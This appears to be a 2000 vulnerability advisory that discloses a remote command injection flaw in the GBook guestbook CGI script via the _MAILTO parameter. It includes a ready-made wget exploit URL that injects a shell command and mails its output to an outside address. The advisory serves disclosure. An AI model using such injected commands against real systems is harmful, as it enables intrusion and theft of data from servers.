[hacksware] gbook.cgi remote command execution vulnerability

[JW Oh <mat@IVNTECH.COM>]

   Bug Report

1. Name: gbook.cgi remote command execution vulnerability
2. Release Date: 2000.11.10
3. Affected Application:
  GBook - A web site guestbook
     By Bill Kendrick
     kendrick@zippy.sonoma.edu
     http://zippy.sonoma.edu/kendrick/
4. Author: mat@hacksware.com
5. Type: Input validation Error

6. Explanation
 gbook.cgi is used by some web sites.
 We can set _MAILTO parameter, and popen is called to execute mail command.
 If ';' is used in _MAILTO variable, you can execute arbitrary command with 
it.
 It's so trivial. :)
7. Exploits
 This exploit executes "ps -ax" command and sends the result to haha@yaho.com.

 wget 
"http://www.victim.com/cgi-bin/gbook/gbook.cgi?_MAILTO=oops;ps%20-ax|mail%20haha@yaho.com&_POSTIT=yes&_NEWONTOP=yes&_SHOWEMAIL=yes&_SHOWURL=yes&_SHOWCOMMENT=yes&_SHOWFROM=no&_NAME=hehe&_EMAIL=fwe@yaho.com&_URL=http://www.yaho.com&_COMMENT=fwe&_FROM=few"


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